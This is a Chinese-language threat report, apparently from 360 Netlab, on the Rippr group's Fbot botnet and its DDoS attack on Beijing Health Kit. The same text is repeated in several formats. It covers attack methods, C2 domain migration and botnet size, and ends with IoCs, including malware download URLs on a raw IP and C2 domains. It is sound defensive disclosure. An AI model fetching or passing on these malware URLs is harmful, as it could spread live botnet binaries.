<p>此次涉事的Fbot一共支持8种攻击方法,ATK_256,ATK_261分别对应<strong>UDP_PLAIN</strong> ,<strong>TCP_PushAck</strong>俩种非常经典的DDoS攻击方式。</p>
<p><img src="__GHOST_URL__/content/images/2022/05/rip_fbot_atk.png" alt="rip_fbot_atk" loading="lazy"></p>
<p>我们在测试环境下,通过技术手段对这俩种攻击方法进行了模拟,我们向Bot端下发了以下2条攻击指令<br>
<img src="__GHOST_URL__/content/images/2022/05/rip_fbot_cmd.png" width="860px" /><br>
它们的意思是向测试IP xx.xx.62.19的80端口发起<strong>ATK_265,ATK_261</strong>攻击,时长60秒。Bot端在接收到指令后,如我们所料,向测试IP发起了DDoS攻击。</p>
<p><strong>UDP_PLAIN(ATK_256)</strong> 攻击效果如下:<br>
<img src="__GHOST_URL__/content/images/2022/05/rip_fbot_atk256.png" width="860px" /></p>
<p><strong>TCP_PUSH_ACK(ATK_261)</strong> 攻击的效果如下:<br>
<img src="__GHOST_URL__/content/images/2022/05/rip_fbot_atk261.png" width="860px" /><br>
我们提取了攻击相关的的特征,同步给有关部门后,经过比对,确定此家族确实参与了对北京健康宝的攻击。</p>
<h2 id="">该僵尸网络团伙的规模&发展趋势</h2>
<p>上一章节我们回答了,谁参与了攻击这个问题,马上另一个问题就摆在我们面前了:“攻击者有能力造成破坏吗?”。这就要求度量涉事僵尸网络的规模。</p>
<p>和我们合作的社区安全伙伴相继给了我们一些从各自角度看到的实际数字,但是这些数字不方便公开公布,不过我们可以从我们自身的数据出发,对本次涉事僵尸网络的规模&发展趋势进行一些评估。</p>
<p>通过PDNS(passive DNS)数据,我们可以直观地感受到该僵尸网络家族的历史变化。</p>
<img src="__GHOST_URL__/content/images/2022/05/chart-latest-dnsmon.png" width="860px" />
<p>趋势分析:</p>
<ul>
<li>2月10日,该团伙域名首次被发现活跃迹象,最开始的3个C2域名(C2-Group-1)为:<code>iwishiwasnormal.ru, ilikefishing.xyz, iranistrash.cc</code></li>
<li>4月14日开始,该家族迅速的繁荣起来,C2的请求量有了明显的上升</li>
<li>4月22日,该家族已有的3个C2域名下线,并同时有3个新的C2域名(C2-Group-2)上线:<code>dota.iwishiwashappy.eu,dota.uiasuibasdbui.art,dota.zzzsleepisnicezzz.art</code></li>
<li>4月28日,该团伙发起了对健康宝的DDoS攻击</li>
</ul>
<p>同时,从IP的层面我们也能看到该团伙运营者的“用心程度”,下图揭露了C2域名迁移过程中对应IP的变迁:</p>
<img src="__GHOST_URL__/content/images/2022/05/rip_fbot_graph.png" width="860px" />
<ul>
<li>
<p>通过安全社区的合作我们得知,A国某头部云服务商的服务曾多次被此家族攻击,严重影响其业务,以至于该服务商利用影响力封禁该家族主控域名(这才导致C2-Group-1 到 C2-Group-2的转变)这可以变相说明该家族的攻击能力不容小觑。</p>
</li>
<li>
<p>僵尸网络传播过程中,会有流量扫描到我们的机器,因此我们将该家族扫描流量和其他已知规模的僵尸网络的扫描流量做对比,进而估算该僵尸网络家族的规模。结论是:峰值上线日活机器应该数以万计。</p>
</li>
</ul>
<p>综上,我们认为此僵尸网络团伙有能力对北京健康宝的业务造成有效攻击。</p>
<h2 id="">此次攻击是否为对我国的定向攻击?</h2>
<p>该僵尸网络将涉事的3个C2域名通过DNS域名映射到多个IP的方式做负载均衡。目前他们分别解析到18个不同的ip地址,分布在4个国家/地区。基于我们有完备的攻击跟踪指令记录,我们可以从这3个C2的历史攻击指令发现一些基本特征:</p>
<ul>
<li>从分发的指令频度来看,截至今日,被跟踪到的攻击事件超过15w次。似乎表明该家族并不介意暴露,缺乏国家/地区级别网络攻击的潜伏性。</li>
<li>从攻击目标的角度,当我们把该团伙攻击目标对应的国家/地区按照时间轴来统计,并映射到地图上,可以清楚的看到该家族累计攻击的目标地理分布遍布全球,包括美国、中国、俄罗斯、英国、法国以及欧洲若干国家/地区,这可以表明攻击者的目的选择上与地缘政治没有明确的关联关系
<ul>
<li>从时间轴上来看,攻击目标到国别的走势一直是比较随机的状态,不存在持续针对特定国家/地区的攻击,也不存在特定时间点突然针对特定国家/地区的攻击</li>
<li>从地图分布上看,中美两国颜色较深,说明两国累计被攻击目标及次数较多,综合考虑到两国在互联网上业务的比重原本就比较大,这里的“看起来多”是一种正常状况</li>
</ul>
</li>
</ul>
<p><img src="__GHOST_URL__/content/images/2022/05/chart-command-map-2.png" alt="chart-command-map-2" loading="lazy"></p>
<p>综上,以及我们对该家族运营团伙<strong>Rippr</strong>历史认识,我们认为它的主要目的是通过对外提供DDoS服务,以及挖矿来盈利,不涉及政治诉求。</p>
<h2 id="rippr">背后黑手Rippr</h2>
<p>Rippr团伙进入我们的视野已经长达18个月,团伙的名称源于其长期运营的僵尸网络ripprbot,2022年2月10日,该团伙使用泄露的Fbot源码,开始运营Fbot家族,作为一个经验丰富的团伙,它修改了Fbot的上线特征和加密算法。其中上线特征如下所示,前4字节为magic ,包长36字节:</p>
<img src="__GHOST_URL__/content/images/2022/05/rip_fbot_reg.png" width="860px" />
<p>在经过1个版本的测试之后,Rippr团伙利用其丰富的0DAY/NDAY武器库帮助Fbot快速扩张,当时活跃的C2是前述的 C2-Group-1。</p>
<p>实际上这3个C2也被Rippr团伙的ripprbot僵尸网络使用,在Fbot扩张的同时,Rippr并没有停下攻击的脚步,我们的BotMon系统监控到Rippr旗下的ripprbot,fbot僵尸网络对全球知名的重大互联网站国某云服务商的发起数次大型DDoS攻击活动。</p>
<p>2022年4月22日,我们从安全社区到到确认,A国某头部云服务商协同安全社区针对该恶意代码家族做过一次封堵。可惜这次封禁并没有对Rippr团伙形成有效的打击,该团伙发现C2被禁后,快速更新将C2切换到C2-Group-2,即本次攻击使用的三个C2域名,在极短的时间内恢复了DDoS攻击的能力。</p>
<img src="__GHOST_URL__/content/images/2022/05/chart-cccommand-rippr.png" width="860px" />
<p>从他们上线伊始,我们就一直在实时的捕捉他们的指令,上图是根据他们历史上发出的15万+攻击指令做出的统计。可以看出,该团伙从上线之初就异常活跃,受到反制措施之后 C2-Group-1 到 C2-Group-2 的切换也非常的迅速,攻击趋势没有任何停滞,且在4月26日达到攻击的一个最高峰。</p>
<p>截至目前为止,本僵尸网络在全球范围内依然活跃,预期随着我们文章的登出,涉及的C2和恶意样本会被安全社区提取使用,黑客也许会通过再一次更新C2地址来应对。</p>
<h2 id="">总结</h2>
<p>伴随信息活动越来越多,网络空间的安全性也愈发重要。本次健康宝通报抵御了网络攻击,引起了百姓的热切关注,在新媒体上热度很高。我们认为这也是向公众宣传网络安全的一个窗口。</p>
<p>从国计民生关键基础设施的安全性角度来说,本次攻击提醒我们,北京健康宝已经毫无疑问应当纳入到关键基础设施的范畴。反过来,如果任何原因导致任何地区的健康码崩溃,当地的抗疫工作毫无疑问会受到迟滞。从这个角度说,我们应该为北京健康宝的提前预案、及时应对、有效保障点赞。</p>
<p>从抵御网络空间僵尸网络的控制者和攻击者角度来说,僵尸网络是网络空间里的顽疾,国家执法机关和安全社区已经协作抵御僵尸网络多年。不仅国内如此,国际也是如此。例如针对本次攻击者,360公司就协同国家机关处置了对应的恶意控制域名,起到减缓攻击者发展的作用。但是仍需指出,成本方面这是一场“非对称战争“,防御者投入的精力和成本要远大于单一攻击者。除非所有防御者通力合作,否则我们很难将全部攻击者绳之以法,而只能是相对有限的打击重点攻击者,防御重点保护对象。</p>
<p>最后请允许我们为360威胁情报中心打个广告。本次攻击相关的恶意控制域名,已经早于本次攻击事件就入库,在360及其生态产品中保护最终用户的安全。</p>
<h2 id="ioc">IoC</h2>
<h3 id="c2">C2</h3>
<pre><code>iwishiwasnormal.ru
ilikefishing.xyz
iranistrash.cc
dota.zzzsleepisnicezzz.art
dota.iwishiwashappy.eu
dota.uiasuibasdbui.art
</code></pre>
<h3 id="md5">MD5</h3>
<pre><code>0de8e79862f846887821240ff0a7c67e
116abdfff010b43b5269e5e5dd6e45a4
1a904a1210e26a6da0d139824aba7309
1b675da617a856cad8d6aaf20de6c186
24f89312c3319df8627347924bac4ea7
28d6bd52d227daa488fd14432d613d89
2bc1ab65659f9b3f3e2efbfa05ab4172
35f0a8216f939b117e54ee3bbd636d52
3c87a4925292c8dc11694afe847fbfdf
48fd995f44fc5317c9aa9585f85f3ac7
4e55f1c3630f86edb695b20734270d20
636f8430c263a9d2d798a89809df0874
807c54466bfb076db66c0212a52fdc22
813950fa1a9c00dce7eed71984a65100
8d68390fddfa42a0e60a5dd247a4c243
8d8da9bd5a8e2709c21ee4ee64d6162a
93292a43949fa22a70a3221287792042
a608f8e7cb61e5273c4d057fd27353d1
aa3f65eddc437ff38f9df67a88bc5edc
ab9a5bff3d16576d01b4bc7190fb84ab
b0ab8faa5809b3957a050000e13a6d8b
b43cae51b13cfd9bb3c16d40b2a3c7a6
b659aecf1ea18b82018d44b401f9252a
b91fe7ba96c896e459f0744cd7db4722
bd3bd14fcaa0f047bb03e67c2099849b
c060e23d6369c12a60db59261b7552f2
c42e41ee6486a7dc38cf3c098fde31c3
daad900f19e9f0a720f24e51dbc495cb
df53e7d0c15392035deabeaf7ea0a44a
fe2e89e54771588ce4638eac84c5f367
</code></pre>
<h3 id="url">URL</h3>
<pre><code>http://31.44.185.237/arm4
http://31.44.185.237/arm5
http://31.44.185.237/arm6
http://31.44.185.237/arm7
http://31.44.185.237/mips
http://31.44.185.237/mips64
http://31.44.185.237/mipsel
http://31.44.185.237/powerpc
http://31.44.185.237/x
http://31.44.185.237/x86
http://31.44.185.237/x86_64
</code></pre>
<!--kg-card-end: markdown--> | 摘要
北京健康宝在4月28日遭遇DDoS攻击,各保障团队快速响应、通力合作,将攻击影响快速消弭。如同战场,一次攻击被消除,但只要黑恶势力还在,下一次攻击可能已经在路上。为此,我们有必要深度分析一下其背后的攻击团队,了解其规模及攻击手法,做到知彼知己。
通过360Netlab积累的多维度安全威胁数据,我们可以确定这次事件的发起方是我们内部命名为Rippr的团伙,它使用了已经披露过的恶意代码家族Fbot的作为攻击武器。如同现实世界的病毒一样,网络世界的恶意代码往往也基于旧有的恶意代码,不断地被一批又一批有“恶意目的”的人控制来演进、传播、利用。此次事件的Fbot变种,最早发现于2月10日,自被发现以来,它们就异常活跃地参与到DDoS攻击中。截至今日,短短三个月,被跟踪到的攻击事件就超过15w次。
本篇技术评论将带你深潜网络空间,在貌似平静的表面之下,看深渊的暗潮涌动。
背景
4月28日,北京市第318场新冠病毒肺炎疫情防控工作新闻发布会召开,会上北京市委宣传部对外新闻处副处长隗斌表示,“4月28日,北京健康宝使用高峰期遭受网络攻击,保障团队进行及时有效应对,受攻击期间北京健康宝相关服务未受影响”。
从我们的视野内看到的情况,我们可以确认这是一起典型的网络拒绝服务攻击(DDoS攻击)事件,就是说攻击者利用大量被入侵的网络设备,如IOT设备,个人电脑,服务器等,向受害者服务器发送海量的网络流量,影响其正常服务。用一个通俗点的例子来类比,好比有人控制了100万个僵尸冲到某个特定的核酸检测点做检测,导致该核酸检测点没法给真正需要做检测的人提供服务。
这种攻击方式,往往都是利用网络安全领域熟知的“僵尸网络”,僵尸网络中大量被控制的机器和设备叫做Bot(肉鸡),而控制这些机器、设备的核心主控服务器叫做C2(command and controller)。在组织结构上,黑客从性能,安全,易调度等角度考虑,并不会直接去和这些大量被入侵感染的网络设备(Bot)一一对话,发送指令,而是会利用C2来统一控制。所有的Bot都和C2通讯,接受C2下发的各种攻击指令。这样黑客只需要通过控制一台或者多台C2,就可以轻松控制成千上万的Bot的行为。
对于活跃的僵尸网络,如果能够有效地发现和跟踪C2,甚至进一步能够实时获取黑客通过C2发出来的每一条具体的攻击指令,那么黑客的攻击活动每一个动作对安全守护方来说都是透明的。正是这个原因,DDoS研究中的C2的发现和跟踪一直可以算是“皇冠上的明珠”。
Netlab为什么能看到此次攻击?
360 Netlab的BotMon系统长期专门跟踪大网上活跃的DDoS攻击,这次攻击也被我们的系统第一时间捕获,并及时分享给相关机构对涉事僵尸网络做相应处置。
360 Netlab使用逆向分析手段完全掌握僵尸网络的通信协议后,可以打入僵尸网络内部,从而监听其内部通信信息和攻击指令。在本次安全事件中,我们就捕获了对应的攻击指令,从而将受害者和攻击发起者之间形成了牢固的证据链条。
本文我们就从C2的角度对这一安全事件进行分析,要点如下:
*
这次DDoS攻击通过僵尸网络发起,该僵尸网络源自于一个名为Fbot的家族。该家族存活已久,最早由我们在2018年首先发现并公开。
*
此次涉事的僵尸网络使用3个C2参与了对北京健康宝的攻击,我们对其有持续跟踪,截获了具体的攻击指令。
*
该僵尸网络最早于2月10日被发现,最开始有另外3个C2活跃,后经过一次安全团队联合反制,旧的被打掉,变为现在的3个新的C2。
*
该僵尸网络由一个我们内部命名为Rippr的团伙运营,该团伙长期进行DDoS攻击,我们之前也曾跟踪到其对外发起的多次大型DDoS攻击事件。
*
截止到发稿时,全球范围内本僵尸网络仍在活跃,且仍在参与针对各种攻击的目标的DDoS攻击事件中。
对北京健康宝的攻击指令
我们的BotMon系统截获的原始攻击指令如下:
为了保护被攻击的目标,我们对上述指令中目标IP做了打码处理。从攻击时间上来看,指令发出的时间是28号早上8点41,跟北京卫健委发布的时间能对上;从攻击方法上来看,使用了我们内部命名为ATK_256,ATK_261的DDoS攻击方式。
ATK_256,ATK_261是什么攻击?
此次涉事的Fbot一共支持8种攻击方法,ATK_256,ATK_261分别对应UDP_PLAIN ,TCP_PushAck俩种非常经典的DDoS攻击方式。
我们在测试环境下,通过技术手段对这俩种攻击方法进行了模拟,我们向Bot端下发了以下2条攻击指令
它们的意思是向测试IP xx.xx.62.19的80端口发起ATK_265,ATK_261攻击,时长60秒。Bot端在接收到指令后,如我们所料,向测试IP发起了DDoS攻击。
UDP_PLAIN(ATK_256) 攻击效果如下:
TCP_PUSH_ACK(ATK_261) 攻击的效果如下:
我们提取了攻击相关的的特征,同步给有关部门后,经过比对,确定此家族确实参与了对北京健康宝的攻击。
该僵尸网络团伙的规模&发展趋势
上一章节我们回答了,谁参与了攻击这个问题,马上另一个问题就摆在我们面前了:“攻击者有能力造成破坏吗?”。这就要求度量涉事僵尸网络的规模。
和我们合作的社区安全伙伴相继给了我们一些从各自角度看到的实际数字,但是这些数字不方便公开公布,不过我们可以从我们自身的数据出发,对本次涉事僵尸网络的规模&发展趋势进行一些评估。
通过PDNS(passive DNS)数据,我们可以直观地感受到该僵尸网络家族的历史变化。
趋势分析:
* 2月10日,该团伙域名首次被发现活跃迹象,最开始的3个C2域名(C2-Group-1)为:iwishiwasnormal.ru, ilikefishing.xyz, iranistrash.cc
* 4月14日开始,该家族迅速的繁荣起来,C2的请求量有了明显的上升
* 4月22日,该家族已有的3个C2域名下线,并同时有3个新的C2域名(C2-Group-2)上线:dota.iwishiwashappy.eu,dota.uiasuibasdbui.art,dota.zzzsleepisnicezzz.art
* 4月28日,该团伙发起了对健康宝的DDoS攻击
同时,从IP的层面我们也能看到该团伙运营者的“用心程度”,下图揭露了C2域名迁移过程中对应IP的变迁:
*
通过安全社区的合作我们得知,A国某头部云服务商的服务曾多次被此家族攻击,严重影响其业务,以至于该服务商利用影响力封禁该家族主控域名(这才导致C2-Group-1 到 C2-Group-2的转变)这可以变相说明该家族的攻击能力不容小觑。
*
僵尸网络传播过程中,会有流量扫描到我们的机器,因此我们将该家族扫描流量和其他已知规模的僵尸网络的扫描流量做对比,进而估算该僵尸网络家族的规模。结论是:峰值上线日活机器应该数以万计。
综上,我们认为此僵尸网络团伙有能力对北京健康宝的业务造成有效攻击。
此次攻击是否为对我国的定向攻击?
该僵尸网络将涉事的3个C2域名通过DNS域名映射到多个IP的方式做负载均衡。目前他们分别解析到18个不同的ip地址,分布在4个国家/地区。基于我们有完备的攻击跟踪指令记录,我们可以从这3个C2的历史攻击指令发现一些基本特征:
* 从分发的指令频度来看,截至今日,被跟踪到的攻击事件超过15w次。似乎表明该家族并不介意暴露,缺乏国家/地区级别网络攻击的潜伏性。
* 从攻击目标的角度,当我们把该团伙攻击目标对应的国家/地区按照时间轴来统计,并映射到地图上,可以清楚的看到该家族累计攻击的目标地理分布遍布全球,包括美国、中国、俄罗斯、英国、法国以及欧洲若干国家/地区,这可以表明攻击者的目的选择上与地缘政治没有明确的关联关系
* 从时间轴上来看,攻击目标到国别的走势一直是比较随机的状态,不存在持续针对特定国家/地区的攻击,也不存在特定时间点突然针对特定国家/地区的攻击
* 从地图分布上看,中美两国颜色较深,说明两国累计被攻击目标及次数较多,综合考虑到两国在互联网上业务的比重原本就比较大,这里的“看起来多”是一种正常状况
综上,以及我们对该家族运营团伙Rippr历史认识,我们认为它的主要目的是通过对外提供DDoS服务,以及挖矿来盈利,不涉及政治诉求。
背后黑手Rippr
Rippr团伙进入我们的视野已经长达18个月,团伙的名称源于其长期运营的僵尸网络ripprbot,2022年2月10日,该团伙使用泄露的Fbot源码,开始运营Fbot家族,作为一个经验丰富的团伙,它修改了Fbot的上线特征和加密算法。其中上线特征如下所示,前4字节为magic ,包长36字节:
在经过1个版本的测试之后,Rippr团伙利用其丰富的0DAY/NDAY武器库帮助Fbot快速扩张,当时活跃的C2是前述的 C2-Group-1。
实际上这3个C2也被Rippr团伙的ripprbot僵尸网络使用,在Fbot扩张的同时,Rippr并没有停下攻击的脚步,我们的BotMon系统监控到Rippr旗下的ripprbot,fbot僵尸网络对全球知名的重大互联网站国某云服务商的发起数次大型DDoS攻击活动。
2022年4月22日,我们从安全社区到到确认,A国某头部云服务商协同安全社区针对该恶意代码家族做过一次封堵。可惜这次封禁并没有对Rippr团伙形成有效的打击,该团伙发现C2被禁后,快速更新将C2切换到C2-Group-2,即本次攻击使用的三个C2域名,在极短的时间内恢复了DDoS攻击的能力。
从他们上线伊始,我们就一直在实时的捕捉他们的指令,上图是根据他们历史上发出的15万+攻击指令做出的统计。可以看出,该团伙从上线之初就异常活跃,受到反制措施之后 C2-Group-1 到 C2-Group-2 的切换也非常的迅速,攻击趋势没有任何停滞,且在4月26日达到攻击的一个最高峰。
截至目前为止,本僵尸网络在全球范围内依然活跃,预期随着我们文章的登出,涉及的C2和恶意样本会被安全社区提取使用,黑客也许会通过再一次更新C2地址来应对。
总结
伴随信息活动越来越多,网络空间的安全性也愈发重要。本次健康宝通报抵御了网络攻击,引起了百姓的热切关注,在新媒体上热度很高。我们认为这也是向公众宣传网络安全的一个窗口。
从国计民生关键基础设施的安全性角度来说,本次攻击提醒我们,北京健康宝已经毫无疑问应当纳入到关键基础设施的范畴。反过来,如果任何原因导致任何地区的健康码崩溃,当地的抗疫工作毫无疑问会受到迟滞。从这个角度说,我们应该为北京健康宝的提前预案、及时应对、有效保障点赞。
从抵御网络空间僵尸网络的控制者和攻击者角度来说,僵尸网络是网络空间里的顽疾,国家执法机关和安全社区已经协作抵御僵尸网络多年。不仅国内如此,国际也是如此。例如针对本次攻击者,360公司就协同国家机关处置了对应的恶意控制域名,起到减缓攻击者发展的作用。但是仍需指出,成本方面这是一场“非对称战争“,防御者投入的精力和成本要远大于单一攻击者。除非所有防御者通力合作,否则我们很难将全部攻击者绳之以法,而只能是相对有限的打击重点攻击者,防御重点保护对象。
最后请允许我们为360威胁情报中心打个广告。本次攻击相关的恶意控制域名,已经早于本次攻击事件就入库,在360及其生态产品中保护最终用户的安全。
IoC
C2
iwishiwasnormal.ru
ilikefishing.xyz
iranistrash.cc
dota.zzzsleepisnicezzz.art
dota.iwishiwashappy.eu
dota.uiasuibasdbui.art
MD5
0de8e79862f846887821240ff0a7c67e
116abdfff010b43b5269e5e5dd6e45a4
1a904a1210e26a6da0d139824aba7309
1b675da617a856cad8d6aaf20de6c186
24f89312c3319df8627347924bac4ea7
28d6bd52d227daa488fd14432d613d89
2bc1ab65659f9b3f3e2efbfa05ab4172
35f0a8216f939b117e54ee3bbd636d52
3c87a4925292c8dc11694afe847fbfdf
48fd995f44fc5317c9aa9585f85f3ac7
4e55f1c3630f86edb695b20734270d20
636f8430c263a9d2d798a89809df0874
807c54466bfb076db66c0212a52fdc22
813950fa1a9c00dce7eed71984a65100
8d68390fddfa42a0e60a5dd247a4c243
8d8da9bd5a8e2709c21ee4ee64d6162a
93292a43949fa22a70a3221287792042
a608f8e7cb61e5273c4d057fd27353d1
aa3f65eddc437ff38f9df67a88bc5edc
ab9a5bff3d16576d01b4bc7190fb84ab
b0ab8faa5809b3957a050000e13a6d8b
b43cae51b13cfd9bb3c16d40b2a3c7a6
b659aecf1ea18b82018d44b401f9252a
b91fe7ba96c896e459f0744cd7db4722
bd3bd14fcaa0f047bb03e67c2099849b
c060e23d6369c12a60db59261b7552f2
c42e41ee6486a7dc38cf3c098fde31c3
daad900f19e9f0a720f24e51dbc495cb
df53e7d0c15392035deabeaf7ea0a44a
fe2e89e54771588ce4638eac84c5f367
URL
http://31.44.185.237/arm4
http://31.44.185.237/arm5
http://31.44.185.237/arm6
http://31.44.185.237/arm7
http://31.44.185.237/mips
http://31.44.185.237/mips64
http://31.44.185.237/mipsel
http://31.44.185.237/powerpc
http://31.44.185.237/x
http://31.44.185.237/x86
http://31.44.185.237/x86_64
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 摘要\n北京健康宝在4月28日遭遇DDoS攻击,各保障团队快速响应、通力合作,将攻击影响快速消弭。如同战场,一次攻击被消除,但只要黑恶势力还在,下一次攻击可能已经在路上。为此,我们有必要深度分析一下其背后的攻击团队,了解其规模及攻击手法,做到知彼知己。\n\n通过360Netlab积累的多维度安全威胁数据,我们可以确定这次事件的发起方是我们内部命名为Rippr的团伙,它使用了已经披露过的恶意代码家族Fbot的作为攻击武器。如同现实世界的病毒一样,网络世界的恶意代码往往也基于旧有的恶意代码,不断地被一批又一批有“恶意目的”的人控制来演进、传播、利用。此次事件的Fbot变种,最早发现于2月10日,自被发现以来,它们就异常活跃地参与到DDoS攻击中。截至今日,短短三个月,被跟踪到的攻击事件就超过15w次。\n\n本篇技术评论将带你深潜网络空间,在貌似平静的表面之下,看深渊的暗潮涌动。\n\n# 背景\n4月28日,北京市第318场新冠病毒肺炎疫情防控工作新闻发布会召开,会上北京市委宣传部对外新闻处副处长隗斌表示,“4月28日,北京健康宝使用高峰期遭受网络攻击,保障团队进行及时有效应对,受攻击期间北京健康宝相关服务未受影响”。\n\n从我们的视野内看到的情况,我们可以确认这是一起典型的网络拒绝服务攻击(DDoS攻击)事件,就是说攻击者利用大量被入侵的网络设备,如IOT设备,个人电脑,服务器等,向受害者服务器发送海量的网络流量,影响其正常服务。用一个通俗点的例子来类比,好比有人控制了100万个僵尸冲到某个特定的核酸检测点做检测,导致该核酸检测点没法给真正需要做检测的人提供服务。\n\n这种攻击方式,往往都是利用网络安全领域熟知的“僵尸网络”,僵尸网络中大量被控制的机器和设备叫做Bot(肉鸡),而控制这些机器、设备的核心主控服务器叫做C2(command and controller)。在组织结构上,黑客从性能,安全,易调度等角度考虑,并不会直接去和这些大量被入侵感染的网络设备(Bot)一一对话,发送指令,而是会利用C2来统一控制。所有的Bot都和C2通讯,接受C2下发的各种攻击指令。这样黑客只需要通过控制一台或者多台C2,就可以轻松控制成千上万的Bot的行为。\n\n对于活跃的僵尸网络,如果能够有效地发现和跟踪C2,甚至进一步能够实时获取黑客通过C2发出来的每一条具体的攻击指令,那么黑客的攻击活动每一个动作对安全守护方来说都是透明的。正是这个原因,DDoS研究中的C2的发现和跟踪一直可以算是“皇冠上的明珠”。\n\n# Netlab为什么能看到此次攻击?\n\n360 Netlab的BotMon系统长期专门跟踪大网上活跃的DDoS攻击,这次攻击也被我们的系统第一时间捕获,并及时分享给相关机构对涉事僵尸网络做相应处置。\n\n360 Netlab使用逆向分析手段完全掌握僵尸网络的通信协议后,可以打入僵尸网络内部,从而监听其内部通信信息和攻击指令。在本次安全事件中,我们就捕获了对应的攻击指令,从而将受害者和攻击发起者之间形成了牢固的证据链条。\n\n本文我们就从C2的角度对这一安全事件进行分析,要点如下:\n\n* 这次DDoS攻击通过僵尸网络发起,该僵尸网络源自于一个名为Fbot的家族。该家族存活已久,最早由我们在2018年首先发现并[公开](__GHOST_URL__/fbot-a-satori-related-block-chain-dns-based-worm/)。\n\n* 此次涉事的僵尸网络使用3个C2参与了对北京健康宝的攻击,我们对其有持续跟踪,截获了具体的攻击指令。\n\n* 该僵尸网络最早于2月10日被发现,最开始有另外3个C2活跃,后经过一次安全团队联合反制,旧的被打掉,变为现在的3个新的C2。\n\n* 该僵尸网络由一个我们内部命名为Rippr的团伙运营,该团伙长期进行DDoS攻击,我们之前也曾跟踪到其对外发起的多次大型DDoS攻击事件。\n\n* 截止到发稿时,全球范围内本僵尸网络仍在活跃,且仍在参与针对各种攻击的目标的DDoS攻击事件中。\n\n\n## 对北京健康宝的攻击指令\n\n我们的BotMon系统截获的原始攻击指令如下:\n\n<img src=\"__GHOST_URL__/content/images/2022/05/chart-cccommand.png\" width=\"860px\" /> \n\n\n\n 为了保护被攻击的目标,我们对上述指令中目标IP做了打码处理。从攻击时间上来看,指令发出的时间是28号早上8点41,跟北京卫健委发布的时间能对上;从攻击方法上来看,使用了我们内部命名为**ATK_256,ATK_261**的DDoS攻击方式。\n\n### ATK_256,ATK_261是什么攻击?\n\n此次涉事的Fbot一共支持8种攻击方法,ATK_256,ATK_261分别对应**UDP_PLAIN** ,**TCP_PushAck**俩种非常经典的DDoS攻击方式。\n\n![rip_fbot_atk](__GHOST_URL__/content/images/2022/05/rip_fbot_atk.png)\n\n我们在测试环境下,通过技术手段对这俩种攻击方法进行了模拟,我们向Bot端下发了以下2条攻击指令\n<img src=\"__GHOST_URL__/content/images/2022/05/rip_fbot_cmd.png\" width=\"860px\" /> \n它们的意思是向测试IP xx.xx.62.19的80端口发起**ATK_265,ATK_261**攻击,时长60秒。Bot端在接收到指令后,如我们所料,向测试IP发起了DDoS攻击。\n\n**UDP_PLAIN(ATK_256)** 攻击效果如下:\n<img src=\"__GHOST_URL__/content/images/2022/05/rip_fbot_atk256.png\" width=\"860px\" /> \n\n**TCP_PUSH_ACK(ATK_261)** 攻击的效果如下:\n<img src=\"__GHOST_URL__/content/images/2022/05/rip_fbot_atk261.png\" width=\"860px\" /> \n我们提取了攻击相关的的特征,同步给有关部门后,经过比对,确定此家族确实参与了对北京健康宝的攻击。\n\n\n## 该僵尸网络团伙的规模&发展趋势\n\n上一章节我们回答了,谁参与了攻击这个问题,马上另一个问题就摆在我们面前了:“攻击者有能力造成破坏吗?”。这就要求度量涉事僵尸网络的规模。\n\n和我们合作的社区安全伙伴相继给了我们一些从各自角度看到的实际数字,但是这些数字不方便公开公布,不过我们可以从我们自身的数据出发,对本次涉事僵尸网络的规模&发展趋势进行一些评估。\n\n通过PDNS(passive DNS)数据,我们可以直观地感受到该僵尸网络家族的历史变化。\n\n<img src=\"__GHOST_URL__/content/images/2022/05/chart-latest-dnsmon.png\" width=\"860px\" /> \n\n\n趋势分析:\n* 2月10日,该团伙域名首次被发现活跃迹象,最开始的3个C2域名(C2-Group-1)为:```iwishiwasnormal.ru, ilikefishing.xyz, iranistrash.cc```\n* 4月14日开始,该家族迅速的繁荣起来,C2的请求量有了明显的上升\n* 4月22日,该家族已有的3个C2域名下线,并同时有3个新的C2域名(C2-Group-2)上线:```dota.iwishiwashappy.eu,dota.uiasuibasdbui.art,dota.zzzsleepisnicezzz.art```\n* 4月28日,该团伙发起了对健康宝的DDoS攻击\n\n同时,从IP的层面我们也能看到该团伙运营者的“用心程度”,下图揭露了C2域名迁移过程中对应IP的变迁:\n\n<img src=\"__GHOST_URL__/content/images/2022/05/rip_fbot_graph.png\" width=\"860px\" /> \n\n\n* 通过安全社区的合作我们得知,A国某头部云服务商的服务曾多次被此家族攻击,严重影响其业务,以至于该服务商利用影响力封禁该家族主控域名(这才导致C2-Group-1 到 C2-Group-2的转变)这可以变相说明该家族的攻击能力不容小觑。\n\n* 僵尸网络传播过程中,会有流量扫描到我们的机器,因此我们将该家族扫描流量和其他已知规模的僵尸网络的扫描流量做对比,进而估算该僵尸网络家族的规模。结论是:峰值上线日活机器应该数以万计。\n\n综上,我们认为此僵尸网络团伙有能力对北京健康宝的业务造成有效攻击。\n\n\n\n\n## 此次攻击是否为对我国的定向攻击?\n\n\n该僵尸网络将涉事的3个C2域名通过DNS域名映射到多个IP的方式做负载均衡。目前他们分别解析到18个不同的ip地址,分布在4个国家/地区。基于我们有完备的攻击跟踪指令记录,我们可以从这3个C2的历史攻击指令发现一些基本特征:\n\n* 从分发的指令频度来看,截至今日,被跟踪到的攻击事件超过15w次。似乎表明该家族并不介意暴露,缺乏国家/地区级别网络攻击的潜伏性。\n* 从攻击目标的角度,当我们把该团伙攻击目标对应的国家/地区按照时间轴来统计,并映射到地图上,可以清楚的看到该家族累计攻击的目标地理分布遍布全球,包括美国、中国、俄罗斯、英国、法国以及欧洲若干国家/地区,这可以表明攻击者的目的选择上与地缘政治没有明确的关联关系\n * 从时间轴上来看,攻击目标到国别的走势一直是比较随机的状态,不存在持续针对特定国家/地区的攻击,也不存在特定时间点突然针对特定国家/地区的攻击\n * 从地图分布上看,中美两国颜色较深,说明两国累计被攻击目标及次数较多,综合考虑到两国在互联网上业务的比重原本就比较大,这里的“看起来多”是一种正常状况\n\n![chart-command-map-2](__GHOST_URL__/content/images/2022/05/chart-command-map-2.png)\n\n综上,以及我们对该家族运营团伙**Rippr**历史认识,我们认为它的主要目的是通过对外提供DDoS服务,以及挖矿来盈利,不涉及政治诉求。\n\n## 背后黑手Rippr\n\nRippr团伙进入我们的视野已经长达18个月,团伙的名称源于其长期运营的僵尸网络ripprbot,2022年2月10日,该团伙使用泄露的Fbot源码,开始运营Fbot家族,作为一个经验丰富的团伙,它修改了Fbot的上线特征和加密算法。其中上线特征如下所示,前4字节为magic ,包长36字节:\n\n<img src=\"__GHOST_URL__/content/images/2022/05/rip_fbot_reg.png\" width=\"860px\" /> 